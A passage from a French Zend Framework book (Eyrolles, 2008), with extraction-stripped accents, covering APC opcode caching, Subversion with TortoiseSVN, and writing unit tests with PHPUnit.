Avant doptimiser PHP, il est important de comprendre le fonctionnement interne des processus que lon veut acclrer : laccs aux fichiers source (includes, requires) ; le processus de compilation la vole (gnration dopcode).

Figure F3

Principe de loptimisation des accs aux ressources

En ralit, comme nous le montre la figure F-3, tout est une question de sollicitation des ressources. Notre but sera donc de : rduire les sollicitations du processeur, notamment les oprations redondantes ; rduire les appels de fonctions au niveau du noyau du systme dexploitation (stat...) ; rduire les accs disque, qui sont lents ; privilgier les accs en mmoire RAM, qui sont rapides, dans la mesure de la capacit disponible. Dans un environnement non optimis, chaque requte HTTP fait appel beaucoup de fichiers (un accs fichier par include en moyenne) et utilise la mmoire uniquement pour les donnes utilisateurs et les mtadonnes ncessaires linterprtation des requtes. Chaque requte HTTP vers un applicatif PHP va donc devoir imposer de chercher les fichiers inclus

402

Groupe Eyrolles, 2008

par le programme sur le disque, les analyser syntaxiquement (tape dite de parsing), les compiler, et les excuter. Dans un environnement optimis, on va mettre en uvre deux principes : viter de faire plusieurs appels disque alors quun seul suffirait ; viter danalyser et de compiler chaque fois les mmes fichiers dans la mesure ou ils ne changent pas ; cest le rle des sections Rduire les accs disque et Rduire les phases de compilation ci-aprs.

Rduire les accs disque


Un accs disque est lent, car il sagit dune action mcanique. Imaginez que votre application ncessite en moyenne 150 include par requte HTTP : cela fait au moins 150 accs disque, donc 150 oprations physiques. Ceci sans compter les appels logiques. Le disque dur ne va pas se mettre en activit tout seul, cest le systme dexploitation qui va le piloter, au moyen de ses fonctions noyau (dites kernel). Bien sr, les disques et les systmes modernes sont rapides, mais la multiplication des requtes et des inclusions de fichiers dans le code PHP peut savrer nfaste pour les performances. Cest pourquoi il existe une solution trs simple que la plupart des frameworks utilisent (dont le Zend Framework), qui consiste rassembler en un seul fichier lensemble du code frquemment utilis. Ainsi, chaque requte, le nombre daccs disque sera rduit. Au maximum, on peut mettre tout le code de lapplication dans un seul fichier, mais cela implique un deuxime problme : une grande partie du code interprt ne sera pas utilis par la requte HTTP, et sera donc compil pour rien. Heureusement il existe une solution cela : le cache dopcode dont il est question dans la section suivante.

T Parsing, compilation

Rduire les phases de compilation


lexcution dun script, le code PHP est pars (analys syntaxiquement), puis compil avant dtre excut et de fournir le rsultat attendu. Toutes ces oprations ont un cot, notamment la phase de compilation. Cette phase de compilation est redondante partir du moment o un visiteur appelle la mme page ou fait appel au mme processus. Cette redondance peut tre vite en mettant de ct les opcodes compils afin de les excuter par la suite sans avoir effectuer le parsing et la compilation, qui sont des processus coteux.

PHP, vous en avez lhabitude, est une suite dinstructions spares par des points-virgules. Toutes ces instructions qui nous sont faciles lire doivent tre remanies pour tre lisibles par lordinateur. Le parsing consiste dblayer le terrain en faisant un parcours des fichiers PHP et en rassemblant les instructions. Le fameux parse error est gnr par le parseur de PHP. Ensuite, le compilateur entre en scne pour prendre les instructions rcupres et les transformer en tableaux dopcodes, que le Zend Executor, composant interne de PHP, pourra lire pour fournir le rsultat attendu. Voyez les fonctions daccs au parseur, telles que token_get_all() ou token_name().

Groupe Eyrolles, 2008

403

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

Figure F4

Principe du cache dopcode

La figure F-4 illustre bien le rle du cache dopcode : sans cache : parsing + compilation + excution tout le temps ; avec cache : parsing + compilation + excution une fois, puis excution seulement toutes les autres fois. Il existe plusieurs extensions PHP qui permettent de faire du cache dopcode. La plus connue sappelle APC (http://www.php.net/apc) et sera intgre dans les futures versions de PHP. Nous pouvons encore citer Zend Optimizer, eAccelerator, XCache, ionCube, Turck MMCache...

Aperu du cache APC


APC est le cache dopcode libre et gratuit de PHP, en vogue ces tempsci. Cest celui qui possde actuellement le meilleur suivi, et certains de ses concepteurs lutilisent dans leurs entreprises respectives, dont Facebook (Brian Shire) et Yahoo (Rasmus Lerdorf ).
Pour installer APC, il faut passer par PECL : EN SAVOIR PLUS Les options dAPC
Vous retrouvez toutes ces options et ces paramtres sur la documentation officielle ladresse suivante : B http://www.php.net/apc
pecl install apc

Pour Windows, il faut tlcharger la dll depuis http://pecl4win.php.net. APC ajoute des options au fichier php.ini, et celles-ci sont trs importantes car elles vont permettre de configurer le cache de manire optimale.
Groupe Eyrolles, 2008

404

Aussi, en plus de faire office de cache dopcode, APC fait aussi office de cache utilisateur : il ajoute des fonctions PHP qui vont permettre de stocker dans le cache des variables PHP, idalement issues dun traitement lourd. Enfin, le cache est fourni avec un fichier qui permet de le surveiller : apc.php.

Figure F5

Monitoring de APC

Fonctionnement dAPC
Voyons dj quoi ressemble de lopcode.
Exemple de code PHP simpliste :
<?php $a = "bonjour"; $b = "le monde"; $helloWorld = $a . $b; if ($_GET['helloworld'] == 1) { echo $helloWorld; } else { echo "byebye"; } ?>

Voici lopcode rsultant :


0 1 2 3 4 5 6 7 ASSIGN ASSIGN CONCAT ASSIGN FETCH_R global FETCH_DIM_R IS_EQUAL JMPZ !0, 'bonjour' !1, 'le+monde' ~2 !0, !1 !2, ~2 $4 '_GET' $5 $4, 'helloworld' ~6 $5, 1 ~6, ->10

Groupe Eyrolles, 2008

405

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

8 ECHO !2 9 JMP ->11 10 ECHO 'byebye' 11 RETURN 1 12* ZEND_HANDLE_EXCEPTION

Comme nous pouvons le remarquer, lopcode est un code proche du code processeur, et il prend en moyenne 30 % de place supplmentaire par rapport au code PHP dont il est issu. Ce critre est important pour pouvoir dimensionner la taille du segment mmoire qui va servir de cache. APC stocke lopcode dans un segment partag de mmoire vive. Il est donc ncessaire de pouvoir grer les accs concurrents ce segment par des processus de verrous. APC reprsente donc une table gante partage entre tous les processus du serveur web. La taille de cette table est importante afin dviter au maximum les collisions dentres/sorties.

Configuration dAPC
Pour configurer la taille de la table, APC fournit trois paramtres que lon trouve (ou que lon ajoute) dans php.ini : apc.num_files_hint : dtermine le nombre maximum de fichiers PHP stocker dans le cache ; apc.user_entries_hint : dtermine le nombre maximum dentres utilisateurs stocker dans le cache ; apc.max_file_size : configure la taille maximale dun fichier dans le cache. Si vous tes limits en mmoire et que vous avez de gros fichiers PHP, ce paramtre peut vous tre utile, au prix dune baisse souvent srieuse du gain apport par APC. Ces trois paramtres doivent tre ajusts en consquence. vitez de mettre des valeurs farfelues, qui peuvent mener de moindres gains de performance. Mme si son opcode est mis en mmoire, APC accde tout de mme au fichier PHP demand par la requte HTTP, afin de vrifier si celui-ci a chang, et si le cache est donc invalide. Sans cette vrification, un changement dans les fichiers PHP ne serait pas reflt sur le site, et un redmarrage du serveur serait alors ncessaire. apc.stat : mis la valeur 0, APC ne vrifie pas la date des fichiers chaque appel, et les chargera directement depuis la mmoire. Cette fonctionnalit offre un gain de performance important, tant donn que tous les appels disque sont vits. Ceci est trs avantageux pour un serveur de production sur lequel les fichiers source ne sont pas modifis. 406
Groupe Eyrolles, 2008

dit APC de vrifier la date de cration du fichier PHP, plutt que sa date de modification. Certains outils comme rsync ou subversion peuvent modifier la date de modification dun fichier, et la mettre dans le pass, invalidant ainsi le cache. Cette option est donc utile dans ces cas-l. apc.ttl dfinit le TTL (temps de validit) dune ressource en mmoire. En gnral, ceci est utilis comme porte de secours pour rafrachir une donne du cache au bout de X secondes. apc.gc_ttl dfinit le temps au bout duquel le ramasse-miettes (garbage collector) invalidera une entre de cache, mme si celle-ci est utilise ce moment-l par un processus. Ceci peut tre utile dans le cas o un processus accde une entre dans la table mais meurt de faon inattendue, rendant lentre occupe.
apc.stat_time

Il reste encore beaucoup doptions qui permettent de jouer finement sur le comportement du cache dopcode APC. Celles-ci sont commentes sur le site de PHP.

Fonctions et cache utilisateur


APC ajoute des fonctions PHP permettant lutilisateur de mettre dans le cache des variables. Ceci savre particulirement intressant pour viter des traitements lourds, typiquement des rsultats de requtes. Bien entendu, le TTL (temps de validit) du cache peut tre configur. Lautre avantage est que, comme le cache se fait en mmoire, laccs aux donnes devient donc extrmement rapide. Voici la liste des fonctions ajoutes par APC PHP. Nous ne les expliquons pas ici, car elles parlent delles-mmes, et leur dfinition est disponible sur la documentation officielle de PHP.

Fonctions dinsertion

apc_cache_info() apc_sma_info().

Fonctions dajout

apc_store() apc_add()

apc_compile_file().

Fonctions de suppression

apc_delete()

apc_clear_cache().

Groupe Eyrolles, 2008

407

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

Fonction dinterrogation

apc_fetch().

Toutes ces fonctions ont servi de socle pour le dveloppement dun support de cache (backend) pour le composant Zend_Cache : Zend_Cache_Backend_Apc.
RENVOI Zend_Cache
Zend_Cache est abord au chapitre 8.

Son utilisation est trs simple, tant donn quil ne ncessite pas de configuration spciale, si ce nest bien entendu la prsence dAPC sur le serveur. Il est donc possible dutiliser APC avec Zend_Cache, afin damliorer encore plus les performances dune application. Nous allons vous donner un exemple qui peut savrer trs utile : compiler lensemble du code source de Zend Framework en mmoire. Il peut tre intressant de lancer une telle opration juste avant louverture du port dcoute du serveur web : celui-ci pourra alors pleinement traiter sa charge, sans avoir besoin daccder au disque en ce qui concerne le Zend Framework (la majorit des fichiers). Cet exemple est illustr la fin du chapitre 10, li la gestion des performances avec Zend Framework.

408

Groupe Eyrolles, 2008

Utiliser Subversion

G
SOMMAIRE

B Subversion dans un projet

Subversion est un outil de gestion de versions. Il rpond un besoin de simplification et de scurisation pour la gestion du code source. Aujourdhui, des centaines de milliers de projets utilisent un gestionnaire de versions (CVS ou Subversion), cela permet de grer un projet dans la continuit et de simplifier le travail plusieurs.

B Prise en main dun client


Subversion MOTS-CLS

B versions B Subversion B rvision B patch B diffrence B tag B dpt

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Zend Framework utilise Subversion. Il est tout indiqu den faire de mme pour vos projets PHP. Nous verrons, entre autres, que Subversion met en uvre des mcanismes intressants pour un partage optimal du code source, mme entre plusieurs applications gres indpendamment.

Figure G1

Du dpt de donnes aux paquetages

Subversion dans un projet


Techniquement, le dpt Subversion est une base de donnes qui contient tous les fichiers sources du framework et leur historique. Les dveloppeurs qui ont un accs en criture au dpt valident leurs contributions afin de mettre jour les sources. Ainsi, le dveloppement est en perptuelle volution. partir du code source principal, appel tronc (trunk), des marqueurs sont placs, afin de matrialiser ce qui deviendra une version de production (1.0, 1.03, 1.5...) propose en tlchargement sous forme darchive zip, ou tar.gz. Des drivations de lensemble du code peuvent aussi tre effectues dans le dpt. Ceci matrialise une branche. Une branche est une copie du code sur laquelle une quipe spcifique va travailler de manire parallle au code du tronc qui, lui, est toujours en volution. En gnral, les dveloppeurs travaillent sur le tronc puis incluent certaines de ses modifications une branche. Ces modifications, dplaces de branche en branche, sappellent des patchs. 410
Groupe Eyrolles, 2008

Souvent, seules quelques personnes ont un accs en criture au dpt, en gnral les dveloppeurs. Les visiteurs, eux, possdent un accs en lecture. chaque fois quun dveloppeur modifie le dpt (ajout dun fichier, mise jour, suppression, etc.), le dpt entier monte dune version, appele rvision. Cest un des principes de Subversion. Subversion se compose dun serveur et de clients. Ses principaux atouts sont : le partage illimit dinformations, gnralement du code sources mais il est possible de traiter toutes sortes de fichiers ; la gestion des versions et des mises jour de chaque fichier du projet ; la possibilit dextraire une version spcifique dun projet ; la possibilit, pour plusieurs personnes, de centraliser leurs sources et de travailler en parfaite synchronisation.

INFO Subversion pour ce livre


Lors de llaboration de cet ouvrage, ses auteurs ont utilis Subversion afin de centraliser les donnes telles que les chapitres, les schmas ou le code de lapplication dexemple.

Subversion pour Zend Framework


Il est possible de rcuprer le code de Zend Framework en tlchargeant les paquetages, ce qui est la mthode la plus rapide. Mais il est galement possible daccder aux sources via le dpt Subversion. Cette possibilit peut tre motive par les lments suivants : accder des lments qui ne sont pas encore disponibles en paquetages (prsents dans lincubateur) ; rcuprer des patchs, pour corriger des bogues ventuels, sans attendre pour cela le paquetage dune version ; pratiquer une veille technologique : suivre ltat et lvolution globale de Zend Framework en direct (rcupration du tronc commun) ; comparer des versions de fichiers, afin de suivre une volution particulire. Ladresse du dpt Subversion de Zend Framework est la suivante :
http://framework.zend.com/svn/framework/standard

contient le code source marqu de toutes les versions passes en paquetages ; /branches reprsente diffrentes branches ; nous avons par exemple /release-1.0, /release-1.5... ; /incubator contient les futurs composants, en cours de dveloppement ; /trunk reprsente le tronc commun de lapplication. Cest la branche principale.
/tags

Groupe Eyrolles, 2008

411

G Utiliser Subversion

Zend Framework - Bien dvelopper en PHP

Figure G2

Structure du dpt Subversion de Zend Framework

VOIR AUSSI Tests du framework


Pour plus dinformations sur les tests, rendez-vous lannexe H.

comporte la documentation organise par langue. Elle est au format XML et ncessite des outils afin de la compiler au format HTML ; /trunk/library stocke les sources du framework (core), le dossier le plus intressant ; /trunk/tests comporte tous les tests unitaires des composants.
/trunk/documentation

Prise en main dun client Subversion


Installation dun client (Windows)
Nous allons utiliser le plus classique dentre eux, TortoiseSVN. Il est sous licence GPL, puissant, intuitif et trs pratique manier du fait de sa parfaite intgration lexplorateur Windows.
INFO SVN Checkout Checkout est la commande Subversion permettant de rapatrier une copie de travail complte depuis un dpt.

Vous pouvez le tlcharger sur http://tortoisesvn.net/downloads. Une fois prt, crez un dossier dans lequel accueillir Zend Framework, cliquez droit dessus et choisissez SVN Checkout. Saisissez lURL http://framework.zend.com/svn/framework/standard et validez.

412

Groupe Eyrolles, 2008

Figure G3

Tlcharger un dpt via la commande Checkout

Votre client Subversion rcupre toutes les sources disponibles. Si vous ne souhaitez pas lintgralit, vous pouvez choisir une arborescence plus profonde depuis le Checkout. Lorsque lopration de rcupration est termine, licne du dossier est modifie et arbore une petite coche verte. Cela signifie que votre copie de travail na pas t modifie localement.

ATTENTION Dossiers .svn


TortoiseSVN va crer un dossier .svn dans chacun des sous-dossiers de votre copie de travail. Ceux-ci sont cachs et ncessaires la bonne gestion des versions. Veillez ne pas les manipuler ou les supprimer.

Quelques commandes Subversion


Si vous cliquez droit nouveau sur le dossier, vous avez maintenant accs plus doptions. Nous allons parcourir les plus pertinentes. SVN Update vous permettra de mettre jour votre copie de travail avec les nouvelles sources disponibles ; SVN Commit est une opration de modification (validation dune modification). Cette opration ncessite des droits daccs, et est rserve une petite lite.
PRCISION Accs aux commandes
Toutes ces commandes sont accessibles sur des fichiers ou des dossiers de votre copie locale du dpt, elles sappliquent donc chaque lment de celui-ci.

Figure G4

Boutons SVN Update et SVN Commit

Figure G5

Commandes Subversion avances, disponibles par clic droit Groupe Eyrolles, 2008

413

G Utiliser Subversion

Zend Framework - Bien dvelopper en PHP

Repo-browser va vous permettre de naviguer directement dans le dpt en ligne ; Revision graph va vous dresser un aperu graphique des rvisions, qui ressemble la figure G-6 ;

Figure G6

Arbre des rvisions

Update to revision permet de rcuprer la rvision prcise dun lment ; Revert annule les modifications effectues localement sur un fichier et revient sa version originale (HEAD) ; Export extrait llment. Si cest un dossier, ceci a pour effet de fournir une copie propre, sans les dossiers de contrle de version Subversion (.svn) ; Create patch : cre un patch. Il sagit dun fichier contenant les diffrences entre deux versions de mmes lments ; Show log : loption la plus intressante sans doute. Vous pouvez choisir un intervalle de temps afin de comprendre ce qui sy est pass. Chaque commit (opration de validation) est accompagn dun commentaire complet, mentionnant ventuellement un numro de ticket pour le bogue concern. La colonne Rvision indique le numro de la rvision

414

Groupe Eyrolles, 2008

du dpt affecte. chaque commit, le dpt augmente dune rvision, quel que soit le nombre de fichiers ayant t modifis dans ce commit.

Figure G7

La commande Show log

Dans la fentre de log, un clic droit sur une ligne de rvision laisse apparatre un nouveau menu concernant la rvision choisie. Chaque rvision peut avoir t cre par la modification dun ou plusieurs fichiers sur le dpt. La commande Show differences as unified diff va vous montrer un rapport de modification, tel quillustr sur la figure G-8.

Figure G8

Voir les diffrences entre plusieurs rvisions dun fichier Groupe Eyrolles, 2008

415

G Utiliser Subversion

Zend Framework - Bien dvelopper en PHP

Chaque fichier modifi y est indiqu, ainsi que les lignes affectes. Les lignes prcdes dun signe + ont t ajoutes dans cette rvision, les lignes prcdes dun signe -, au contraire, ont t retires. Ceci permet un suivi parfait de chaque fichier, de chaque rvision. Ce menu est en rapport avec la commande Create patch : un fichier de patch ressemble beaucoup laperu gnr par Show differences.

Liaison du dpt Subversion avec un serveur web


T Forge

La forge dun projet reprsente lensemble des outils qui permettent son dveloppement collaboratif. On pourra citer le gestionnaire de versions, loutil de suivi de bogues, le gestionnaire de documentation, etc.

En plus de pouvoir lire, et ventuellement crire, dans un dpt avec un client spcial (comme TortoiseSVN), Subversion propose des connecteurs permettant de lintgrer sur un site web, souvent la forge dun projet. Ainsi, des forges comme Trac intgrent une vue du dpt SVN sur le site web du projet, comme le reprsente la figure G-9.

Figure G9

La forge Trac et lintgration de Subversion

Subversion est aussi fourni avec des extensions pour Apache, permettant celui-ci de lire un dpt et den prsenter larborescence au travers dune URL. La figure G-10 illustre ceci.

Figure G10

Apache li Subversion

416

Groupe Eyrolles, 2008

Pratique des tests avec PHPUnit

H
SOMMAIRE

B Quest-ce quun test,

Lorsquon parvient structurer correctement un projet web, il devient possible de le tester. Les tests, au mme titre que la documentation, font partie du cycle de dveloppement de lapplication web. Le recours la programmation oriente objet et la sparation des fonctionnalits dans un programme permettent dorganiser et dindustrialiser des procdures de tests.

et quoi sert-il ?

B Comment crer un test ? B Comment crer


une batterie de tests ? MOTS-CLS

B PHPUnit B tests unitaires B qualit B durabilit B dbogage

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Dans cette annexe, nous prsenterons diffrentes familles de tests, puis nous nous focaliserons sur les tests unitaires. Nous montrerons en quoi ceux-ci sont utiles en saidant de PHPUnit, une bibliothque considre aujourdhui comme un standard et largement inspire de son homologue Java : JUnit. Nous verrons galement comment organiser ses tests, et les intgrer dans le projet. Enfin, Zend Framework tant test avec PHPUnit, nous satisferons notre curiosit en passant quelques tests en revue.

Prsentation du concept de test


Il existe diffrentes familles de tests, en voici quelques-unes parmi les plus courantes : tests unitaires : ils vrifient les fonctionnalits dune classe ou dun ensemble de classes, une une. On dfinit des scnarios de tests ; tests dintgration : ils vrifient que des fonctionnalits senchanent correctement. Ces tests se droulent souvent du point de vue du client (navigateur web) ; tests de non-rgression : ils vrifient quune mise jour ne dgrade pas un comportement. Ces tests sont intgrs en gnral dans les tests unitaires ; tests de performance : ils vrifient que les performances spcifies sont bien atteintes sur un scnario donn ; tests fonctionnels : ils vrifient que les fonctions sont bien atteintes, par rapport aux attentes ; tests de robustesse : ils analysent le comportement dun scnario sous charge, ou en simulant une panne dun composant (base de donnes par exemple) ; tests de vulnrabilit : ils analysent la scurit dun scnario ; tests dacceptation : ils permettent de sassurer que les utilisateurs finaux arrivent prendre en main correctement loutil. Dans tout projet, les tests sintgrent tous les tages : un code fouillis est difficilement testable ; un code testable est un code que lon peut maintenir ; tester son code permet de mieux apprhender le changement de spcifications et de valider le bon fonctionnement dun algorithme ; crire des tests permet dcrire, de manire naturelle, un code correct dun point de vue gnie logiciel, cest--dire un code peu coupl, fortement cohsif, et rsistant aux changements. 418
Groupe Eyrolles, 2008

Les tests unitaires


Dans un projet non architectur, ou mal architectur, le temps pass dboguer une application augmente significativement avec le cycle de vie de lapplication, jusqu devenir totalement ingrable. Ceci est dautant plus vrai si le projet nest pas pens et conu sous forme de design patterns sembotant les uns dans les autres. Comment sassurer que lintroduction de code, ou dun correctif, ne modifie pas le comportement de lapplication en un point donn ? En crivant des tests unitaires pour toutes ses fonctions. videmment, crire des tests ne signifie pas que le code utile que lon fournit nest pas bogu. Mais ceci permet de vrifier limpact qua un (petit) changement sur lensemble de lapplication. Les tests unitaires, lorsquils sont crits convenablement, offrent donc de nombreux avantages : fournir lauteur du code et aux lecteurs la certitude que les corrections insres produisent bien leffet recherch ; permettre aux dveloppeurs de dcouvrir les effets de bord du systme ; mettre immdiatement en avant les rgressions et sassurer que la mme rgression ne se reproduira pas ; illustrer de faon concrte les modes dutilisation de lAPI et contribuer de manire significative aux efforts de documentation. Mais quest-ce qui vrifie les tests unitaires, et sassure quils ne sont pas bogus ? La rponse est simple : le code utile. Le code et les tests unitaires sont deux ensembles totalement complmentaires qui se rpondent lun lautre. Ainsi, crire des tests unitaires est une philosophie part entire, presque un mtier, mais qui devrait tre une habitude systmatique lorsquil sagit de dvelopper une nouvelle fonctionnalit dans un programme, quelle soit crite sous forme de classes, ou de fonctions.
SAVOIR Test unitaire
Un test unitaire sert tester unitairement une fonctionnalit. Lorsquil sagit dun cas prcis, on parle de scnario de test.

Un exemple simple
Beaucoup de dveloppeurs utilisent les fonctions echo(), var_dump() ou print_r() de PHP afin dexcuter des tests. Voyons un exemple simple :
User.php
<?php class User { const ADMIN = 2; const GUEST = 1;

Groupe Eyrolles, 2008

419

H Pratique des tests avec PHPUnit

Zend Framework - Bien dvelopper en PHP

public $name; private $_level; public function __construct($nom, $level = self::ADMIN) { $this->name = $nom; $this->_level = $level; } public function setLevel($level) { if(!in_array($level, array(self::ADMIN,self::GUEST))) { throw new Exception ('niveau incorrect'); } $this->_level = $level; } public function getLevel() { return $this->_level; } }

Cette classe toute simple peut tre teste grce un cas dutilisation :
Test simple de User (1)
<?php require 'User.php'; $user = new User('Julien'); echo $user->getLevel();

Avec la commande echo, nous nous attendons ce que laffichage soit 2. Un echo ntant plus suffisant pour un type composite (array, object), var_dump() ou print_r() viennent complter le test :
Test simple de User (2)
<?php require 'User.php'; $user = new User('Julien'); var_dump($user); /* affiche : object(user)#1 (2) { ["name"]=> string(6) "Julien" ["_level:private"]=> int(2) } */

420

Groupe Eyrolles, 2008

Plusieurs problmes se posent avec cette mthode de test : Ce qui saffiche lcran nest pas forcment le rsultat attendu, ce qui nest pas visible au premier coup dil. Aucun mcanisme ne permet de vrifier quil sagit bien du bon rsultat. Comment tester une exception, comme dans le cas de la mthode setLevel() ? En la provoquant et en bloquant ainsi le programme ? Comment industrialiser, organiser ces tests ? Ils sont souvent trs nombreux et il faut pouvoir les organiser convenablement. Un premier lment de rponse se trouve dans les assertions. PHP possde une fonction assert() pour cela. Rcrivons nos tests avec la fonction assert() :
Test de User, avec assertions
<?php require 'User.php'; $user = new User('Julien'); assert($user->getLevel() == 2); assert($user->name == 'Julien');

SAVOIR Assertion
Une assertion est une vrification boolenne true : on vrifie quune condition est vraie. Si elle est fausse, alors cest quun problme plus ou moins srieux est arriv, qui est alors signal par le programme.

Ce code naffiche rien du tout, et cest tant mieux. Tout aussi simple que les prcdents, ce code de test a rsolu certains problmes vis--vis du mme code de test, mais cette fois avec les fonctions daffichage (echo, var_dump()...) : le code avec les assertions naffiche rien lcran, sauf sil y a une erreur. La fonction assert() prend en paramtre une expression PHP au mme titre que la trs connue structure de langage if. Si le rsultat de lexpression reprsente le boolen false, alors une erreur de niveau E_WARNING sera mise, sinon rien ne se passe. Lavantage est immdiatement visible : sil y a un problme dans le code test, il sera explicitement affich, avec le numro de la ligne correspondante. Un echo (par exemple) : affiche systmatiquement quelque chose ; affiche quelque chose qui na pas de sens intrinsque ; naffiche pas le numro de la ligne sur laquelle il est crit. Une assertion : naffiche une erreur que sil y a erreur dans lassertion ; affiche le numro de la ligne sur laquelle elle est crite, dans le cas dune erreur.
REMARQUE Zend Framework et les tests
Zend Framework comporte environ 200 000 lignes de code utile. Pensez-vous rellement quil soit possible dcrire autant de lignes, sans se soucier de les tester ? Si ctait le cas, cet ouvrage nexisterait probablement pas...

Groupe Eyrolles, 2008

421

H Pratique des tests avec PHPUnit

Zend Framework - Bien dvelopper en PHP

Aller plus loin avec les tests : PHPUnit


Maintenant que nous avons vu les avantages des assertions par rapport aux fonctions daffichage, nous allons introduire PHPUnit, car les assertions PHP ont tout de mme certaines limites : impossible de tester la prsence dune exception ; lassertion en elle-mme peut tre trs longue crire ; une longue suite dassert(), les uns sous les autres, fait finalement perdre la matrise du programme de test et entrane une certaine confusion sa relecture ; nous navons toujours pas trouv de mthode pour industrialiser nos tests : comment les organiser, les sparer, les reconnatre, les lancer facilement ? PHPUnit est une librairie PHP qui va simplifier lcriture et lorganisation de tests. Il sagit dun ensemble de fichiers PHP reprsentant des classes, un peu comme Zend Framework, mais dont le but est de fortement aider organiser et crire des tests solides, ayant la particularit dtre tous bass sur les assertions PHP. PHPUnit est calqu sur des outils de tests dautres langages, comme JUnit pour Java. Il propose non seulement lcriture de tests, mais aussi : lanalyse de la couverture de code ; la rdaction automatique dune documentation agile ; des rapports de tests intgrables dans dautres applications, au format XML ou JSON ; lorganisation de suites de tests ; la simulation dune base de donnes, ou dun navigateur (tests fonctionnels) ; et bien plus encore...

Installer PHPUnit
URL PHPUnit
Le site Internet de PHPUnit est trs complet et propose une documentation en franais, avec des exemples : B http://www.phpunit.de

PHPUnit possde un canal PEAR et sinstalle donc simplement via le PHP Extension And Repository. Il est aussi possible dinstaller PHPUnit comme une archive, hors PEAR. La procdure est cependant lgrement plus longue, car PEAR possde lavantage de configurer PHPUnit afin quil soit prt un lancement immdiat.
Installation via PEAR
pear channel-discover pear.phpunit.de pear install phpunit/PHPUnit

422

Groupe Eyrolles, 2008

Si linstallation sest bien passe, tapez phpunit dans votre ligne de commande, pour vrifier que le programme est bien trouv.

crire des tests avec PHPUnit


Nous allons reprendre notre classe User, utilise dans ce chapitre. Cette classe va rester inchange, nous allons juste modifier les tests que nous avons crits pour en vrifier le fonctionnement. Il convient de respecter quelques rgles avec PHPunit : PHPUnit se pilote en ligne de commande et utilise lexcutable PHP. Tapez phpunit dans votre invite de commandes pour voir la liste des options disponibles ; tous les tests scrivent dans des classes qui tendent la classe PHPUnit_Framework_TestCase ; globalement, pour tester un script, il faut taper phpunit <nom_du_script_de_test.php> si le script a le mme nom que la classe. Dans le cas contraire, il faudra utiliser la syntaxe suivante : phpunit <nom_de_la_classe_de_test> <nom_du_script_de_test>. Chaque scnario de test est reprsent par une mthode dans la classe de tests. La mthode doit : tre publique ; commencer par le prfixe test ; dcrire au mieux le test ralis, mme si son nom doit tre trs long ; tre crite avec la notation CamelCase afin que le gnrateur de documentation puisse fonctionner.
RAPPEL CamelCase
Dans la notation CamelCase, tous les mots sont colls entre eux, la sparation se faisant avec des capitales. Par exemple : VoiciUnePhraseEnCamelCase !

Exemple de test unitaire


UserTest.php
<?php require 'PHPUnit/Framework/TestCase.php'; require 'User.php'; class UserTest extends PHPUnit_Framework_TestCase { private $_user; public function setUp() { $this->_user = new User('julien'); }

Groupe Eyrolles, 2008

423

H Pratique des tests avec PHPUnit

Zend Framework - Bien dvelopper en PHP

public function testConstructeur() { $this->assertEquals('julien', $this->_user->name); $this->assertEquals(User::ADMIN, $this->_user->getLevel()); } public function testLevel() { $this->_user->setLevel(1); $this->assertEquals(1, $this->_user->getLevel()); $this->setExpectedException('Exception'); $this->_user->setLevel(8); } }

RAPPEL Mthodes de test


PHPUnit ninterprtera que les mthodes commenant par le prfixe test, toutes les autres mthodes ne seront pas reconnues comme des tests.

Si nous analysons ce code, nous pouvons remarquer, premire vue, que le test est organis : il sagit dune classe comportant plusieurs scnarios de tests. Structure dune classe de tests Toute classe de tests tend PHPUnit_Framework_TestCase et est associe avec lobjet rel tester, matrialis dans notre cas par lattribut de classe $_user. Chaque mthode de test (appele aussi scnario de test) va tester un ou plusieurs cas dutilisation de lobjet. En gnral, on teste dj toutes les mthodes de lobjet, de manire sassurer que la couverture (le nombre de mthodes couvertes) de code est maximale. Puis on teste plus finement certains scnarios susceptibles de se produire. La mthode setUp() est appele avant chaque mthode de test et va initialiser le contexte du test. Dans notre cas, nous crons une simple instance de la classe User, que nous stockons dans une proprit prive $_user. Chaque test est lanc indpendamment des autres, ainsi aucun des tests ne va influer sur le comportement de ses voisins. Ceci est trs important. Une mthode tearDown() est aussi disponible. Elle est appele aprs chaque scnario de test. Les assertions Les assertions permettent de contrler si le comportement des fonctionnalits testes est bien le bon. Un moyen mnmotechnique pour utiliser les assertions consiste se poser la question Est-il vrai que... ? . Toutes ces assertions reposent sur la fonction assert() de PHP, mais PHPUnit se charge de tout en mettant notre disposition des mthodes dassertions plus directes, et plus utiles.

424

Groupe Eyrolles, 2008

PHPUnit possde plusieurs mthodes dassertions parmi lesquelles : $this->assertEquals(x, y) : est-il vrai que x est gal y ? $this->assertTrue(x) : est-il vrai que x est vrai ? $this->assertFalse(x) : est-il vrai que x est faux ? $this->assertArrayHasKey(x) : est-il vrai que le tableau x est associatif ? Excution de la classe de tests Pour excuter la classe de tests, nous utilisons lexcutable phpunit dans une invite de commandes, comme dcrit prcdemment.

URL Les assertions PHPUnit


Vous trouverez la liste exhaustive des assertions PHPUnit ladresse suivante : B http://www.phpunit.de/pocket_guide/3.3/ en/api.html#api.assert

REMARQUE Mode verbeux


Lancer PHPUnit avec loption --verbose lui fera afficher plus de dtails lors derreurs dans les tests. Nous vous la conseillons.

Figure H1

Notre premier test de la classe User

Linvite de commandes affiche le rsultat de PHPUnit. Notez les deux points sur le rsultat. Ceci reprsente nos deux tests : ils ont tous deux t passs avec succs : un point . reprsente un test pass avec succs ; une lettre E indique une erreur PHP non fatale dans le test (warning, strict, notice) ; une lettre F indique que le test a chou, parce que au moins une assertion dans le scnario nest pas passe ; une lettre I reprsentera un test incomplet, par exemple sa mthode est crite, le scnario est l, mais non rempli (report plus tard) ; une lettre S indique que le test a t ignor pour une raison que le programmeur devrait connatre, car cest lui qui dtermine lignorance dun test (par exemple, un test ncessitant lextension PHP Mcrypt sera marqu comme ignor si celle-ci nest pas disponible lors de son excution).

Groupe Eyrolles, 2008

425

H Pratique des tests avec PHPUnit

Zend Framework - Bien dvelopper en PHP

Concept